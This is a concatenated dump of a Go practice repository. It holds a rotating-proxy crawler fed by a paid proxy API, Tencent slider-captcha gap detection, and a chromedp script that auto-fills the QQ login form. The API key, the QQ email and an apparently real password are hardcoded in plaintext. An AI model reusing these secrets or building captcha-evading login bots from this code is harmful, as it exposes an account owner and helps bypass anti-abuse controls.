Transport: &http.Transport{Proxy: func(_ *http.Request) (*url.URL, error) { 45 | return url.Parse(string(p)) 46 | }}, 47 | CheckRedirect: nil, 48 | Jar: nil, 49 | Timeout: 5 * time.Second, 50 | } 51 | for { 52 | p = <-input 53 | codes := []string{ 54 | "https://food.boohee.com/fb/v1/foods/fd645f00", 55 | "https://www.baidu.com", 56 | "https://www.baidu.com", 57 | "https://www.baidu.com", 58 | "https://www.baidu.com", 59 | } 60 | success := 0 61 | for _, code := range codes { 62 | request, err := http.NewRequest("GET", code, nil) 63 | if err != nil { 64 | //log.Println(err) 65 | continue 66 | } 67 | resp, err := httpClient.Do(request) 68 | if err != nil { 69 | //log.Println(err) 70 | continue 71 | } 72 | data, err := ioutil.ReadAll(resp.Body) 73 | if err != nil { 74 | //log.Println(err) 75 | continue 76 | } 77 | if len(data) < 10 { 78 | //log.Println("check ok", string(data)) 79 | continue 80 | } 81 | success++ 82 | } 83 | //log.Println(success) 84 | if success == len(codes) { 85 | output <- p 86 | } 87 | } 88 | } 89 | 90 | func getProxyList(c *Client) []Proxy { 91 | u := "http://www.90api.cn/vip.php?key=584198000&sl=3000" 92 | //u := "http://www.90api.cn/vip.php?key=584198450&sl=3000" 93 | re, err := c.Get(u, 2) 94 | list := make([]Proxy, 0) 95 | if err != nil { 96 | log.Println("代理接口调用出错", err) 97 | return list 98 | } 99 | lines := strings.Split(re.Body, "\r\n") 100 | for index := range lines { 101 | line := lines[index] 102 | //log.Println(line) 103 | parts := strings.Split(line, ":") 104 | if len(parts) != 2 { 105 | continue 106 | } 107 | p := "http://" + parts[0] + ":" + parts[1] + "/" 108 | list = append(list, Proxy(p)) 109 | } 110 | return list 111 | } 112 | -------------------------------------------------------------------------------- /spider_client/spider_cli.go: -------------------------------------------------------------------------------- 1 | package spider_client 2 | 3 | import ( 4 | "io/ioutil" 5 | "log" 6 | "net/http" 7 | "net/url" 8 | "sync" 9 | "time" 10 | ) 11 | 12 | // 发送一个请求需要构造的结构体 13 | type Req struct { 14 | httpReq *http.Request 15 | resultCh chan *Result 16 | } 17 | 18 | // 请求结果 19 | type Result struct { 20 | Resp *http.Response // 原生内容 21 | Err error // 错误信息 22 | Body string // Body 23 | UseProxy Proxy // 使用的代理 24 | } 25 | 26 | const directProxy = "direct" 27 | 28 | type Proxy string // 代理, 格式: http://127.0.0.1:8080/ 29 | 30 | type consumerMessage struct { 31 | proxy Proxy 32 | data string 33 | } 34 | 35 | type proxyStatus struct { 36 | notifyConsumerCh chan string // 调度器协程向消费协程发消息的通道 37 | complainedTimes int // 被投诉过的次数 38 | consumerNum int // 消费者数量 39 | } 40 | 41 | type Client struct { 42 | //httpClient http.Client // 标准库的http客户端 43 | reqCh chan *Req // 请求通道 44 | addProxyCh chan Proxy // 代理通道, 有可用的代理时,发送到这个通道, 可以增加请求消费者, 从而提高并发 45 | complainProxyCh chan Proxy // 投诉代理通道 46 | consumerEveryProxy int // 每个代理启动几个消费者 47 | assignedProxyMap map[Proxy]*proxyStatus // 已经使用的消费者 48 | assignedProxyMapLock sync.RWMutex // map操作锁 49 | needDirect bool // 是否需要直连 50 | consumerMessageCh chan consumerMessage // 消费协程向调度器协程发消息的通道 51 | minIntervalPerProxyEveryTowReq time.Duration // 2次请求最小间隔 52 | } 53 | 54 | func (c *Client) GetProxyCh() chan Proxy { 55 | return c.addProxyCh 56 | } 57 | 58 | func (c *Client) GetUsingProxy() []Proxy { 59 | list := make([]Proxy, 0) 60 | c.assignedProxyMapLock.RLock() 61 | for p := range c.assignedProxyMap { 62 | list = append(list, p) 63 | } 64 | c.assignedProxyMapLock.RUnlock() 65 | return list 66 | } 67 | 68 | func (c *Client) readProxyMap(key Proxy) (*proxyStatus, bool) { 69 | c.assignedProxyMapLock.RLock() 70 | p, ok := c.assignedProxyMap[key] 71 | c.assignedProxyMapLock.RUnlock() 72 | return p, ok 73 | } 74 | 75 | func (c *Client) writeProxyMap(key Proxy, v *proxyStatus) { 76 | c.assignedProxyMapLock.Lock() 77 | c.assignedProxyMap[key] = v 78 | c.assignedProxyMapLock.Unlock() 79 | } 80 | 81 | func (c *Client) delProxyMap(key Proxy) { 82 | c.assignedProxyMapLock.Lock() 83 | delete(c.assignedProxyMap, key) 84 | c.assignedProxyMapLock.Unlock() 85 | } 86 | 87 | func New(consumerEveryProxy, reqChSize int, minIntervalPerProxyEveryTowReq time.Duration, needDirect bool) *Client { // 创建一个新的客户端 88 | client := &Client{ 89 | reqCh: make(chan *Req, reqChSize), 90 | addProxyCh: make(chan Proxy, 2), 91 | complainProxyCh: make(chan Proxy, 2), 92 | consumerEveryProxy: consumerEveryProxy, 93 | assignedProxyMap: make(map[Proxy]*proxyStatus), 94 | needDirect: needDirect, 95 | consumerMessageCh: make(chan consumerMessage, 10), 96 | minIntervalPerProxyEveryTowReq: minIntervalPerProxyEveryTowReq, 97 | } 98 | go client.startScheduler() 99 | return client 100 | } 101 | 102 | // 只调用一次 103 | func (c *Client) startScheduler() { 104 | go func() { 105 | if c.needDirect { 106 | c.addProxyCh <- directProxy 107 | } 108 | }() 109 | for { 110 | select { 111 | case p := <-c.addProxyCh: // 有可用的代理了 112 | //log.Println(p) 113 | // 这个代理已经在使用了不进行分配 114 | if _, ok := c.readProxyMap(p); ok || len(c.assignedProxyMap) > 500 { 115 | continue 116 | } 117 | go c.proxyLeader(p) 118 | case p := <-c.complainProxyCh: // 有代理被投诉 119 | if s, ok := c.readProxyMap(p); ok { 120 | s.complainedTimes++ // 增加投诉次数 121 | if s.complainedTimes >= c.consumerEveryProxy/4 { // 被投诉超过5次, 直接终止使用这个代理 122 | go func() { s.notifyConsumerCh <- "exit" }() // leader 可能在blocked中, 开协程发送指令 123 | c.delProxyMap(p) 124 | log.Println("可用代理", len(c.assignedProxyMap)) 125 | } else { // 冻结代理 126 | go func() { c.assignedProxyMap[p].notifyConsumerCh <- "block" }() 127 | } 128 | } 129 | case m := <-c.consumerMessageCh: 130 | go c.onConsumerMessage(m) // 开协程处理消息 131 | } 132 | } 133 | } 134 | 135 | // 代理老大 136 | func (c *Client) proxyLeader(p Proxy) { 137 | // 创建和协程通信的通道 138 | notifyConsumerCh := make(chan string) 139 | status := &proxyStatus{ 140 | notifyConsumerCh: notifyConsumerCh, 141 | consumerNum: c.consumerEveryProxy, 142 | } 143 | c.writeProxyMap(p, status) 144 | // 创建请求通道, 转发client请求通道的请求 145 | reqCh := make(chan *Req) 146 | msgChs := make([]chan string, c.consumerEveryProxy) 147 | for i := range msgChs { 148 | msgChs[i] = make(chan string, 2) 149 | } 150 | // 启动消费者 151 | for i := 0; i < status.consumerNum; i++ { 152 | go consumer(p, msgChs[i], reqCh) 153 | } 154 | // 请求转发 155 | exit := false 156 | go func() { 157 | for !exit { 158 | reqCh <- <-c.reqCh 159 | if c.minIntervalPerProxyEveryTowReq > 0 { 160 | //log.Println(c.minIntervalPerProxyEveryTowReq) 161 | time.Sleep(c.minIntervalPerProxyEveryTowReq) 162 | } 163 | } 164 | }() 165 | // 消息转发 166 | go func() { 167 | for { 168 | msg := <-status.notifyConsumerCh 169 | if msg == "block" { // 收到一次冻结命令, 就杀死一个消费者(有些代理可能有并发限制, 降低并发提高成功率) 170 | //log.Println("block", p) 171 | time.Sleep(time.Second) 172 | if len(msgChs) > 0 { 173 | msgChs[len(msgChs)-1] <- "exit" 174 | msgChs = msgChs[0 : len(msgChs)-1] 175 | status.consumerNum-- 176 | } 177 | } else { 178 | for i := 0; i < status.consumerNum; i++ { 179 | msgChs[i] <- msg 180 | } 181 | if msg == "exit" { 182 | //log.Println("exit", p) 183 | exit = true 184 | break 185 | } 186 | } 187 | } 188 | }() 189 | } 190 | 191 | // 收到消费者消息的回调 192 | func (c *Client) onConsumerMessage(m consumerMessage) { 193 | 194 | } 195 | 196 | // 请求消费者 197 | func consumer(p Proxy, fromScheduler chan string, reqCh chan *Req) { // 请求消费者 198 | proxyFn := func(_ *http.Request) (*url.URL, error) { 199 | return url.Parse(string(p)) 200 | } 201 | if p == directProxy { 202 | proxyFn = nil 203 | } 204 | httpClient := http.Client{ 205 | Transport: &http.Transport{Proxy: proxyFn}, 206 | CheckRedirect: nil, 207 | Jar: nil, 208 | Timeout: 15 * time.Second, 209 | } 210 | DONE: // 轮训请求通道 211 | for { 212 | select { 213 | case req := <-reqCh: 214 | //log.Println("req", p) 215 | doReq(httpClient, req, p) // 这里不能开协程, 保证一个消费者同时只处理一个请求 216 | case msg := <-fromScheduler: 217 | if msg != "" { 218 | switch msg { 219 | case "exit": 220 | break DONE 221 | } 222 | } 223 | } 224 | } 225 | //log.Println("consumer exit", p) 226 | } 227 | 228 | // 执行请求 229 | func doReq(client http.Client, req *Req, p Proxy) { 230 | result := new(Result) // 构造结果 231 | resp, err := client.Do(req.httpReq) // 执行请求 232 | result.Resp = resp 233 | result.UseProxy = p 234 | if err != nil { // 请求出错返回错误 235 | //log.Println(err) 236 | result.Err = err 237 | req.resultCh <- result 238 | return 239 | } 240 | data, err := ioutil.ReadAll(resp.Body) 241 | if err != nil { 242 | result.Err = err 243 | req.resultCh <- result 244 | return 245 | } 246 | result.Body = string(data) // 请求成功, 发送结果 247 | req.resultCh <- result 248 | } 249 | 250 | func (c *Client) Get(url string, retry int) (result *Result, err error) { 251 | request, err := http.NewRequest("GET", url, nil) 252 | if err != nil { 253 | return 254 | } 255 | result, err = c.Do(request, retry) 256 | return 257 | } 258 | 259 | func (c *Client) Do(r *http.Request, retry int) (result *Result, err error) { 260 | req := new(Req) 261 | req.httpReq = r 262 | req.resultCh = make(chan *Result, 1) 263 | for retry++; retry > 0; retry-- { 264 | c.reqCh <- req // 添加请求到队列 265 | result = <-req.resultCh // 等待请求被执行 266 | err = result.Err 267 | if err != nil { // 如果请求失败了, 则投诉这个代理 268 | //log.Println(err) 269 | c.ComplainProxy(result.UseProxy) 270 | } 271 | if err == nil && result.Resp.StatusCode == 200 { 272 | return 273 | } 274 | } 275 | return 276 | } 277 | 278 | // 投诉代理 279 | func (c *Client) ComplainProxy(proxy Proxy) { 280 | //return 281 | go func() { 282 | if proxy == directProxy { 283 | return 284 | } 285 | c.complainProxyCh <- proxy 286 | }() 287 | } 288 | -------------------------------------------------------------------------------- /spider_client/spider_client_init.go: -------------------------------------------------------------------------------- 1 | package spider_client 2 | 3 | import ( 4 | "log" 5 | "time" 6 | ) 7 | 8 | func Init() { 9 | client := New(2, 10, 50*time.Millisecond, true) 10 | res, err := client.Get("http://baidu.com", 2) 11 | if err != nil { 12 | log.Println(err) 13 | return 14 | } 15 | log.Println(res) 16 | } 17 | -------------------------------------------------------------------------------- /tcp_log/tcp_log_init.go: -------------------------------------------------------------------------------- 1 | package tcp_log 2 | 3 | import ( 4 | "fmt" 5 | "io" 6 | "log" 7 | "net" 8 | "os" 9 | ) 10 | 11 | func Init() { 12 | port := "8000" 13 | fmt.Println("server has been start===>, listen on" + port) 14 | tcpAddr, _ := net.ResolveTCPAddr("tcp", ":"+port) 15 | //服务器端一般不定位具体的客户端套接字 16 | tcpListener, _ := net.ListenTCP("tcp", tcpAddr) 17 | for { 18 | 19 | tcpConn, _ := tcpListener.AcceptTCP() 20 | go onConnect(tcpConn) 21 | 22 | } 23 | 24 | } 25 | 26 | func onConnect(con *net.TCPConn) { 27 | defer con.Close() 28 | log.Println("连接的客户端信息:", con.RemoteAddr().String()) 29 | io.Copy(os.Stdout, con) 30 | log.Println("断开: ", con.RemoteAddr().String()) 31 | } 32 | -------------------------------------------------------------------------------- /tencent_code/1.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/1.jpeg -------------------------------------------------------------------------------- /tencent_code/10.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/10.jpeg -------------------------------------------------------------------------------- /tencent_code/11.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/11.jpeg -------------------------------------------------------------------------------- /tencent_code/2.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/2.jpeg -------------------------------------------------------------------------------- /tencent_code/3.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/3.jpeg -------------------------------------------------------------------------------- /tencent_code/4.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/4.jpeg -------------------------------------------------------------------------------- /tencent_code/5.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/5.jpeg -------------------------------------------------------------------------------- /tencent_code/6.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/6.jpeg -------------------------------------------------------------------------------- /tencent_code/7.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/7.jpeg -------------------------------------------------------------------------------- /tencent_code/8.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/8.jpeg -------------------------------------------------------------------------------- /tencent_code/9.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/9.jpeg -------------------------------------------------------------------------------- /tencent_code/out.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out.zip -------------------------------------------------------------------------------- /tencent_code/out/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/1.png -------------------------------------------------------------------------------- /tencent_code/out/10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/10.png -------------------------------------------------------------------------------- /tencent_code/out/11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/11.png -------------------------------------------------------------------------------- /tencent_code/out/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/2.png -------------------------------------------------------------------------------- /tencent_code/out/3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/3.png -------------------------------------------------------------------------------- /tencent_code/out/4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/4.png -------------------------------------------------------------------------------- /tencent_code/out/5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/5.png -------------------------------------------------------------------------------- /tencent_code/out/6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/6.png -------------------------------------------------------------------------------- /tencent_code/out/7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/7.png -------------------------------------------------------------------------------- /tencent_code/out/8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/8.png -------------------------------------------------------------------------------- /tencent_code/out/9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/peterq/practice-in-go/e910b6db88a8c7e7fb481d27de7168a7d824bc08/tencent_code/out/9.png -------------------------------------------------------------------------------- /tencent_code/tencent_code_init.go: -------------------------------------------------------------------------------- 1 | package tencent_code 2 | 3 | import ( 4 | "fmt" 5 | "funny/tencent_code/try_chromedp" 6 | "github.com/pkg/errors" 7 | "image" 8 | "image/color" 9 | "image/draw" 10 | "image/jpeg" 11 | "image/png" 12 | "log" 13 | "math" 14 | "os" 15 | "path/filepath" 16 | ) 17 | 18 | const lineHeight = 15 19 | const gap = 80 20 | 21 | var line *image.RGBA 22 | 23 | func init() { 24 | line = image.NewRGBA(image.Rect(0, 0, 0, lineHeight-1)) 25 | for y := 0; y < lineHeight; y++ { 26 | line.Set(0, y, color.NRGBA{R: 255, A: 255}) 27 | } 28 | //log.Println(colorDistance(color.RGBA{255,255,255, 255}, color.RGBA{255,255,255, 255})) 29 | } 30 | 31 | func Init() { 32 | try_chromedp.Test() 33 | return 34 | for i := 1; i <= 11; i++ { 35 | test(i) 36 | } 37 | } 38 | 39 | func test(i int) { 40 | log.Println("here") 41 | src, err := filepath.Abs(fmt.Sprintf("tencent_code/%d.jpeg", i)) 42 | if err != nil { 43 | log.Fatal(err) 44 | } 45 | dest, err := filepath.Abs(fmt.Sprintf("tencent_code/out/%d.png", i)) 46 | if err != nil { 47 | log.Fatal(err) 48 | } 49 | err = getPos1(src, dest) 50 | log.Println(err) 51 | } 52 | 53 | func getPos(src, dest string) (err error) { 54 | f, err := os.Open(src) 55 | if err != nil { 56 | return errors.Wrap(err, "打开图片错误") 57 | } 58 | img, err := jpeg.Decode(f) 59 | if err != nil { 60 | return errors.Wrap(err, "解码图片错误") 61 | } 62 | r := img.Bounds() 63 | newRgba := image.NewRGBA(r) 64 | draw.Draw(newRgba, r, img, image.ZP, draw.Src) 65 | for y := 0; y <= r.Max.Y; y += 5 { 66 | last := getLine(img, 0, y) 67 | for x := 1; x <= r.Max.X; x++ { 68 | cur := getLine(img, x, y) 69 | gapEnough := true 70 | sum := float64(0) 71 | for i, c := range last { 72 | sum += colorDistance(c, cur[i]) 73 | if c.A < 230 { 74 | gapEnough = false 75 | break 76 | } 77 | } 78 | if gapEnough { 79 | log.Println(gapEnough) 80 | } 81 | if sum/lineHeight < 600 { 82 | gapEnough = false 83 | } 84 | if gapEnough { 85 | log.Println(x, y) 86 | //newRgba.Set(x, y, color.NRGBA{R: 255, A: 255}) 87 | //draw.Draw(newRgba, line.Bounds(), line, image.Pt(x, y), draw.Src) 88 | for dy := 0; dy < lineHeight; dy++ { 89 | newRgba.Set(x-1, y+dy, color.NRGBA{R: 255, A: 255}) 90 | } 91 | } 92 | last = cur 93 | } 94 | 95 | } 96 | p, _ := filepath.Abs(dest) 97 | f, err = os.OpenFile(p, os.O_CREATE|os.O_APPEND|os.O_RDWR|os.O_TRUNC, os.ModePerm) 98 | if err != nil { 99 | return errors.Wrap(err, "打开存输出件错误") 100 | } 101 | err = png.Encode(f, newRgba) 102 | if err != nil { 103 | return errors.Wrap(err, "图片编码错误") 104 | } 105 | f.Close() 106 | return 107 | } 108 | func getPos1(src, dest string) (err error) { 109 | f, err := os.Open(src) 110 | if err != nil { 111 | return errors.Wrap(err, "打开图片错误") 112 | } 113 | img, err := jpeg.Decode(f) 114 | if err != nil { 115 | return errors.Wrap(err, "解码图片错误") 116 | } 117 | r := img.Bounds() 118 | newRgba := image.NewRGBA(r) 119 | draw.Draw(newRgba, r, img, image.ZP, draw.Src) 120 | for y := 0; y <= r.Max.Y; y += lineHeight / 1 { 121 | last := getLine1(img, 0, y) 122 | for x := 1; x <= r.Max.X; x++ { 123 | cur := getLine1(img, x, y) 124 | gapEnough := true 125 | for i, c := range last { 126 | if c-cur[i] < gap || c < 250 { 127 | gapEnough = false 128 | break 129 | } 130 | } 131 | if gapEnough { 132 | log.Println(x, y) 133 | //newRgba.Set(x, y, color.NRGBA{R: 255, A: 255}) 134 | //draw.Draw(newRgba, line.Bounds(), line, image.Pt(x, y), draw.Src) 135 | for dy := 0; dy < lineHeight; dy++ { 136 | newRgba.Set(x-1, y+dy, color.NRGBA{R: 255, A: 255}) 137 | } 138 | } 139 | last = cur 140 | } 141 | 142 | } 143 | p, _ := filepath.Abs(dest) 144 | f, err = os.OpenFile(p, os.O_CREATE|os.O_APPEND|os.O_RDWR|os.O_TRUNC, os.ModePerm) 145 | if err != nil { 146 | return errors.Wrap(err, "打开存输出件错误") 147 | } 148 | err = png.Encode(f, newRgba) 149 | if err != nil { 150 | return errors.Wrap(err, "图片编码错误") 151 | } 152 | f.Close() 153 | return 154 | } 155 | 156 | func getLine(m image.Image, x, y int) []color.RGBA { 157 | arr := make([]color.RGBA, lineHeight) 158 | for dy := 0; dy < lineHeight; dy++ { 159 | c := m.At(x, y+dy) 160 | r, g, b, _ := c.RGBA() 161 | arr[dy] = color.RGBA{uint8(r >> 8), uint8(g >> 8), uint8(b >> 8), uint8((r>>8 + g>>8 + b>>8) / 3)} 162 | } 163 | return arr 164 | } 165 | func getLine1(m image.Image, x, y int) []byte { 166 | arr := make([]byte, lineHeight) 167 | for dy := 0; dy < lineHeight; dy++ { 168 | c := m.At(x, y+dy) 169 | r, g, b, _ := c.RGBA() 170 | arr[dy] = uint8((r>>8 + g>>8 + b>>8) / 3) 171 | } 172 | return arr 173 | } 174 | 175 | func colorDistance(c1, c2 color.RGBA) float64 { 176 | redMean := float64(c1.R+c2.R) / 2 177 | r := float64(c1.R - c2.R) 178 | g := float64(c1.G - c2.G) 179 | b := float64(c1.B - c2.B) 180 | return math.Sqrt(float64( 181 | (int((512+redMean)*r*r) >> 8) + 182 | int(4*g*g) + 183 | (int((767-redMean)*b*b) >> 8))) 184 | } 185 | -------------------------------------------------------------------------------- /tencent_code/try_chromedp/chromedp.go: -------------------------------------------------------------------------------- 1 | package try_chromedp 2 | 3 | import ( 4 | "context" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/chromedp/cdproto/cdp" 8 | "github.com/chromedp/cdproto/network" 9 | "github.com/chromedp/cdproto/runtime" 10 | "github.com/chromedp/chromedp" 11 | "log" 12 | "time" 13 | ) 14 | 15 | func Test() { 16 | var err error 17 | 18 | // create context 19 | ctxt, cancel := context.WithCancel(context.Background()) 20 | defer cancel() 21 | 22 | // create chrome instance 23 | c, err := chromedp.New(ctxt) 24 | if err != nil { 25 | log.Fatal(err) 26 | } 27 | 28 | // run task list 29 | err = c.Run(ctxt, click()) 30 | if err != nil { 31 | log.Fatal(err) 32 | } 33 | 34 | // shutdown chrome 35 | err = c.Shutdown(ctxt) 36 | if err != nil { 37 | log.Fatal(err) 38 | } 39 | 40 | // wait for chrome to finish 41 | err = c.Wait() 42 | if err != nil { 43 | log.Fatal(err) 44 | } 45 | } 46 | 47 | type tJson map[string]interface{} 48 | 49 | func (t *tJson) MarshalJSON() ([]byte, error) { 50 | return json.Marshal(*t) 51 | } 52 | func (t *tJson) UnmarshalJSON(data []byte) error { 53 | err := json.Unmarshal(data, (*map[string]interface{})(t)) 54 | log.Println(err) 55 | return err 56 | } 57 | 58 | func click() chromedp.Tasks { 59 | var str string 60 | return chromedp.Tasks{ 61 | network.Enable(), 62 | network.SetRequestInterception([]*network.RequestPattern{ 63 | { 64 | URLPattern: "https://imgcache.qq.com/ptlogin/v4/style/42/images/loading.gif", 65 | ResourceType: "", 66 | InterceptionStage: network.InterceptionStageRequest, 67 | }, 68 | }), 69 | chromedp.Navigate(`https://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=756044602&style=42&s_url=http://wtlogin.qq.com/&pt_no_onekey=1&pt_no_auth=1&daid=499&wt_force_pwd=1`), 70 | chromedp.ActionFunc(func(c context.Context, cdp cdp.Executor) error { 71 | var res tJson 72 | err := cdp.Execute(c, runtime.CommandEvaluate, &tJson{ 73 | "expression": "location", 74 | }, &res) 75 | th := cdp.(*chromedp.TargetHandler) 76 | go func() { 77 | for evt := range th.EvtCh { 78 | log.Println(fmt.Sprintf("%#v, %#v", evt.Evt, evt.Msg)) 79 | } 80 | }() 81 | log.Println(err, res) 82 | return nil 83 | }), 84 | chromedp.WaitVisible("#u"), 85 | chromedp.Evaluate(` 86 | document.querySelector('#u').value = "1056668021@qq.com" 87 | document.querySelector('#p').value = "zhangyunxiao521" 88 | `, &str), 89 | chromedp.Click("#go"), 90 | chromedp.Sleep(1000 * time.Second), 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /test/idea/queue.go: -------------------------------------------------------------------------------- 1 | package idea 2 | 3 | import "container/list" 4 | 5 | type Queue struct { 6 | out, in chan interface{} // 出, 进通道 7 | actionCh chan *queueAction // 队列操作请求通道 8 | members list.List // 真实的队列 9 | current interface{} // 当前值 10 | receivers list.List // 接受者队列 11 | currentReceiver <-chan interface{} // 当前接受者 12 | init bool // 是否已经初始化 13 | } 14 | 15 | const ( 16 | actionEnqueue = iota // 入队 17 | actionDequeue // 出队 18 | actionLen // 查长度 19 | ) 20 | 21 | type queueAction struct { 22 | action int 23 | payload interface{} 24 | } 25 | 26 | func (q *Queue) _init() { 27 | if q.init { 28 | return 29 | } 30 | go func() { 31 | for { 32 | if q.current != nil && q.currentReceiver != nil { // 有接受者而且队列里有值 33 | q.currentReceiver <- q.current 34 | q.current = nil 35 | q.currentReceiver = nil 36 | if q.members.Len() > 0 { 37 | q.current = q.members 38 | } 39 | } 40 | } 41 | }() 42 | } 43 | 44 | func (q *Queue) Enqueue(payload interface{}) { 45 | q.actionCh <- &queueAction{ 46 | payload: payload, 47 | action: actionEnqueue, 48 | } 49 | } 50 | 51 | func (q *Queue) Dequeue(payload interface{}) interface{} { 52 | receive := make(chan interface{}) 53 | q.actionCh <- &queueAction{ 54 | action: actionDequeue, 55 | payload: receive, 56 | } 57 | return <-receive 58 | } 59 | 60 | func NewQueue() *Queue { 61 | q := new(Queue) 62 | q._init() 63 | return q 64 | } 65 | -------------------------------------------------------------------------------- /test/interface.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "fmt" 5 | ) 6 | 7 | type People interface { 8 | Speak(string) string 9 | } 10 | 11 | type Stduent struct{} 12 | 13 | func (stu *Stduent) Speak(think string) (talk string) { 14 | if think == "bitch" { 15 | talk = "You are a good boy" 16 | } else { 17 | talk = "hi" 18 | } 19 | return 20 | } 21 | 22 | func test() { 23 | var peo People = &Stduent{} 24 | //var peo People = Stduent{} // 编译不通过 25 | think := "bitch" 26 | fmt.Println(peo.Speak(think)) 27 | } 28 | -------------------------------------------------------------------------------- /test/memory_dump.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "log" 5 | "unsafe" 6 | ) 7 | 8 | const leng = 88 9 | 10 | var bigData = [leng]bool{} 11 | 12 | func testMemmory() { 13 | log.Println(bigData) 14 | p := (*[leng]byte)(unsafe.Pointer(&bigData)) 15 | for i := 0; i < 40; i++ { 16 | if i%3 != 0 { 17 | (*p)[i] = 1 18 | } 19 | } 20 | log.Println(bigData) 21 | 22 | select {} 23 | } 24 | -------------------------------------------------------------------------------- /test/mongo.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "fmt" 5 | "gopkg.in/mgo.v2" 6 | "gopkg.in/mgo.v2/bson" 7 | "log" 8 | ) 9 | 10 | type payload struct { 11 | Id_ bson.ObjectId `bson:"_id"` 12 | A string `json:"a_78"` 13 | } 14 | 15 | func testMongo() { 16 | url := "mongodb://root:root@127.0.0.1:27017/admin" 17 | s, err := mgo.Dial(url) 18 | if err != nil { 19 | panic(err) 20 | } 21 | Session := s 22 | 23 | Session.SetMode(mgo.Monotonic, true) 24 | c := Session.DB("playground").C("test_id") 25 | 26 | id := bson.NewObjectId() 27 | a := payload{A: "hello", Id_: id} 28 | err = c.Insert(a) 29 | bin, _ := bson.Marshal(a) 30 | log.Println(string(bin)) 31 | log.Println(fmt.Sprintf("%#v %#v", err, id.String())) 32 | } 33 | -------------------------------------------------------------------------------- /test/test_go.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "runtime" 7 | "time" 8 | "unsafe" 9 | ) 10 | 11 | func TestGoroutine() { 12 | 13 | var a = [10]int16{} 14 | for i := 0; i < 10; i++ { 15 | go func(i int) { 16 | for { 17 | a[i]++ 18 | if a[i] == 0 { 19 | log.Fatal(a) 20 | } 21 | runtime.Gosched() 22 | } 23 | }(i) 24 | } 25 | time.Sleep(10000 * time.Millisecond) 26 | fmt.Println(a) 27 | } 28 | 29 | func Convert() { 30 | 31 | // 强制类型转换 32 | var a = []float64{1.2, 3.14, 5} 33 | var b []int 34 | b = ((*[1 << 20]int)(unsafe.Pointer(&a[0])))[:len(a):cap(a)] 35 | log.Println(b) 36 | 37 | c := []int{1, 2, 3} // 有3个元素的切片, len和cap都为3 38 | e := c[0 : 2 : cap(c)+1] 39 | log.Println(e) 40 | } 41 | -------------------------------------------------------------------------------- /test/test_init.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | func Init() { 4 | //testGpu() 5 | //testMongo() 6 | //TestGoroutine() 7 | Convert() 8 | } 9 | -------------------------------------------------------------------------------- /test/test_stack.go: -------------------------------------------------------------------------------- 1 | package test 2 | 3 | import ( 4 | "log" 5 | "strconv" 6 | ) 7 | 8 | func stackTest() { 9 | log.Println(parseIns("r2(lr3(ui))y1(z)")) 10 | } 11 | 12 | func parseIns(ins string) string { 13 | stack := make([]int, 0) 